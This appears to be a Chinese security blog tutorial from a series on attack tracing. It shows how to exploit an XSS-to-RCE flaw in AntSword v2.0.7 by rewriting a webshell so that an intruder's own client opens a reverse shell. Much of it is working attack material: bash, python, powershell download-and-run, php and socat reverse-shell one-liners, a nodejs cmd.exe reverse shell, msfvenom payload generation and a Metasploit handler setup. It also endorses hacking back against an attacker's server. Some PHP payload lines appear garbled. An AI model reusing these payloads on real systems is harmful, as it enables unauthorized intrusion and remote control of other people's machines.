溯源(七)之利用AntSword RCE进行溯源反制黑客

溯源(一)之溯源的概念与意义
溯源(二)之 windows-还原攻击路径
溯源(三)之Linux-入侵排查
溯源(四)之流量分析-Wireshark使用
溯源(五)之攻击源的获取
溯源(六)之溯源的方法

利用AntSword RCE进行溯源反制黑客

在之前文章中我们学习了如何通过Web日志,系统日志,安全设备去获取攻击源,然后再通过获取的攻击源的信息再去寻找攻击者的身份,这些方式都是被动的去寻找攻击者的身份

但这些方法不是万能的,实际入侵中,攻击者都会挂一个代理,或者是对自己的流量进行一个加密,所以如果攻击者在攻击过程中进行了以上的行为,那我们通过Web日志或者安全设备得到的攻击源很大概率上都不是真实的

所以,我们要化被动为主动,去主动获取攻击者的身份,主动去寻找攻击者是一个什么样的思路呢?

举个列子:

第一种,比如我们得到了攻击者的IP,发现对方的IP是一个对方的服务器,那我们是不是可以对对方的服务器发起一个渗透。

第二种,我们也可以部署一个蜜罐,来捕获攻击者,通过蜜罐,我们可以得到攻击者的真实IP或者是攻击者留下的一些身份信息,这些都是主动式的。

第三种,就是我们本文所讲的方法,攻击者平时所用的一些黑客工具,比如中国蚁剑,sqlmap,goby等等这些工具本身存在漏洞,我们是不是可以去利用这个漏洞去反制攻击者

那我们怎么使用这个漏洞去反制攻击者呢?这个和我们常规的渗透思路不太一样,比如说,我们通过web日志发现了攻击者使用中国蚁剑,然后知道了攻击者所使用的中国蚁剑的版本存在漏洞,前提是我们得知道哪些中国蚁剑版本存在漏洞

比如蚁剑的v2.0.7版本,存在一个xss漏洞

现在实验假设在一个情况下,我们的网站被黑客入侵了,然后我们通过分析web日志,安全设备等等,通过这些设备呢?我们是可以查看到攻击者的一个指纹信息,所以我们知道了攻击者所使用的中国蚁剑版本就是v2.0.7版本,那我们该怎么利用这个漏洞得到对方的shell呢?

中国蚁剑v2.0.7工作目录下载地址
中国蚁剑下载地址

中国蚁剑大家都会装吧?这个我就不教了,这个不会的,拷打:)

实验准备

首先我们向目标服务器的网站目录下上传一句话木马

溯源(七)之利用AntSword RCE进行溯源反制黑客_第1张图片

然后我们访问目标文件,发现目标文件存在

溯源(七)之利用AntSword RCE进行溯源反制黑客_第2张图片

然后我们使用v2.0.7版本的中国蚁剑去连接

溯源(七)之利用AntSword RCE进行溯源反制黑客_第3张图片

成功得到对方网站的控制权限

第一次打开网站时的场景是这样的

溯源(七)之利用AntSword RCE进行溯源反制黑客_第4张图片

一、漏洞原理

由于蚁剑使用是html解析,并没有进行 XSS 保护过滤,html内容被解析了,导致xss漏洞。

二、复现

更改对方上传的webshell为

'); ?>

溯源(七)之利用AntSword RCE进行溯源反制黑客_第5张图片

当我们第二次去点击连接网站时,就会弹出xss窗口

溯源(七)之利用AntSword RCE进行溯源反制黑客_第6张图片

溯源(七)之利用AntSword RCE进行溯源反制黑客_第7张图片
溯源(七)之利用AntSword RCE进行溯源反制黑客_第8张图片

但是我们去利用这个漏洞,就不仅仅是弹一个窗口而已,而是要拿到入侵者的权限,拿到对方主机的控制权

三、反制

反弹shell:

建立一个控制目标的简易管道,(攻击者再代码中指定服务端,让受害者主机主动连接攻击者的程序)可以通过这个管道连接成功以后去执行系统命令

而建立这个管道有非常多种方式

比如利用Linux中的bash 或者python powershell php nodejs

bash -i >& /dev/tcp/192.168.35.152/7777 0>&1

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

powershell IEX (New-Object System.Net.Webclient).DownloadString(‘http://192.168.201.129/powercat.ps1‘); powercat -c 192.168.201.129 -p 9999 -e cmd

php -r '$sock=fsockopen("192.168.35.152",7777);exec("/bin/sh -i <&3 >&3 2>&3");'

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.35.152:7777

我们这里做个实验来帮助大家

机器名 IP
kali1 192.168.52.130
kali2 192.168.52.132

我们在kali1机器上输入

php -r ‘$sock=fsockopen(“192.168.52.132”,2223);exec(“/bin/sh -i &3 2>&3”);’

在这里插入图片描述

在kali2上执行

nc -lvvp 2333

在这里插入图片描述

我们就在kali2上得到了kali1上反弹过来的shell

溯源(七)之利用AntSword RCE进行溯源反制黑客_第9张图片

那这个场景放在我们本文所讲述的技术中的应用位置在哪呢?我们v2.0.7的蚁剑不是有一个xss弹窗漏洞,如果我们把弹窗的内容改为我们反弹连接的内容比如

php -r '$sock=fsockopen("我们的IP",我们监听的端口);exec("/bin/sh -i <&3 >&3 2>&3");'

然后我们在本地的服务器求去进行一个端口监听,当对方使用蚁剑连接我们的网站时,就会触发xss漏洞,而这个漏洞所执行的代码又被我们修改成了反弹的shell代码,那这样我们是不是就得到入侵者主机的shell

蚁剑支持nodjs脚本,因此可以基于nodejs实现反弹shell

实验环境

机器名 IP 身份
win11 192.168.0.106 入侵者的主机
kali 192.168.0.105 监听端口的服务器

nodejs rce的代码:

var net = require("net"), sh = require("child_process").exec("cmd.exe");
var client = new net.Socket();
client.connect(10086, "192.168.0.105", function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});

什么是nodejs

javascrpt是脚本语言 也就是通常情况下用在浏览器,嵌入到HTML网页中,由浏览器一边解释一边执行。 要想在服务器上运行js需要运行环境。

nodejs是一个基于Chrome V8引擎的JavaScript运行环境,可以让JavaScript运行在服务端的开发平台非浏览器上运行,让脚本语言JavaScript能作为服务器语言。

代码解析

1、利用process模块进行命令执行,用require来开启子进程进行命令执行
var net = require("net"), sh = require("child_process").exec("cmd.exe");

nodejs基于事件驱动来处理并发,本身是单线程模式运行的。Nodejs通过生成多个子进程来处理其他事物。

在Node.js中,提供了一个child_process模块,通过它可以开启多个子进程,在多个子进程之间可以共享内存空间,可以通过子进程的互相通信来实现信息的交换。

nodejs创建子进程有四种方法,分别是spawn、fork、exec、execFile。

2、在Node.js中提供了一个net.Socket对象,用于方便调用底层Socket接口,实现数据传输的功能。
var client = new net.Socket();

client.connect(10086, "192.168.0.105", function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);}

net.Socket既可以读也可以写,这个client建立socket链接,实现了将对方cmd.exe的标准输入输出与标准错误流转发到受害者自己的ip:10088端口上。

3、输入输出重定向
client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);
重定向的原理是:

首先声明两个概念:主程序(重定向的操纵者)、子进程(被重定向的子进程)

如果要重定位stdout的话,先生成一个管道, 管道的写入端交给子进程去写,主程序从管道的读出端读数据,
然后可以把数据写成文件、显示等等。重定向stderr和stdout是相同的。

同理,要重定向stdin的话,生成一个管道, 管道的写入端由主程序写,子进程从管道的读出端读数据。
当Linux启动的时候会默认打开三个文件描述符,分别是:

标准输入standard input 0 (默认设备键盘)
标准输出standard output 1(默认设备显示器)
错误输出:error output 2(默认设备显示器)

< :是对标准输入 0 重定向 > :是对标准输出 1 重定向

在nodejs中

stdin是标准输入,stdout是标准输出,stderr是标准错误输出。
大多数的命令行程序从stdin输入,输出到stdout或 stderr,重定向stdout,stderr,stdin。

在Windows编程中,重定向需要用到管道(Pipe)的概念。管道是一种用于在进程间共享数据的机制。
一个管道类似于一个管子的两端,一端是写入的,一端是读出的。由一个进程从写入端写入、另一个进程从读出端读出,从而实现通信,就向一个“管道”一样。

主机复现

一、nodejs

1、加密反弹shell代码:

http://www.jsons.cn/base64/  base64在线加解密
var net = require("net"), sh = require("child_process").exec("cmd.exe");
var client = new net.Socket();
client.connect(10086, "192.168.0.105", function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});

溯源(七)之利用AntSword RCE进行溯源反制黑客_第10张图片

2、在受害服务器中替换webshell内容

");
 ?>

溯源(七)之利用AntSword RCE进行溯源反制黑客_第11张图片

3、在kali机器上监听端口

nc -lvvp 10086

在这里插入图片描述

4、攻击机使用蚁剑连接webshell
溯源(七)之利用AntSword RCE进行溯源反制黑客_第12张图片

5、成功反弹shell

反弹shell 得到了目标cmd

溯源(七)之利用AntSword RCE进行溯源反制黑客_第13张图片
溯源(七)之利用AntSword RCE进行溯源反制黑客_第14张图片

二、msf反弹shell

MSF生成 node.js木马:

msfvenom -p nodejs/shell_reverse_tcp LHOST=192.168.0.105 LPORT=10086 -f raw -o payload.js

溯源(七)之利用AntSword RCE进行溯源反制黑客_第15张图片

cat payload.js

溯源(七)之利用AntSword RCE进行溯源反制黑客_第16张图片

查看并复制代码

同样将代码加密以后替换掉webshell中内容

溯源(七)之利用AntSword RCE进行溯源反制黑客_第17张图片溯源(七)之利用AntSword RCE进行溯源反制黑客_第18张图片

<?PHP
 header("HTTP/1.1 500 Not \");
 ?>

MSF开启监听

use exploit/multi/handler
set payload nodejs/shell_reverse_tcp
set lhost 192.168.0.105
set lport 10086
exploit 

溯源(七)之利用AntSword RCE进行溯源反制黑客_第19张图片

当攻击者再次点击链接webshell爆红而不知所以然的时候,我们已经成功溯源反制

溯源(七)之利用AntSword RCE进行溯源反制黑客_第20张图片
溯源(七)之利用AntSword RCE进行溯源反制黑客_第21张图片溯源(七)之利用AntSword RCE进行溯源反制黑客_第22张图片

你可能感兴趣的:(溯源,网络,linux,服务器,网络安全,安全)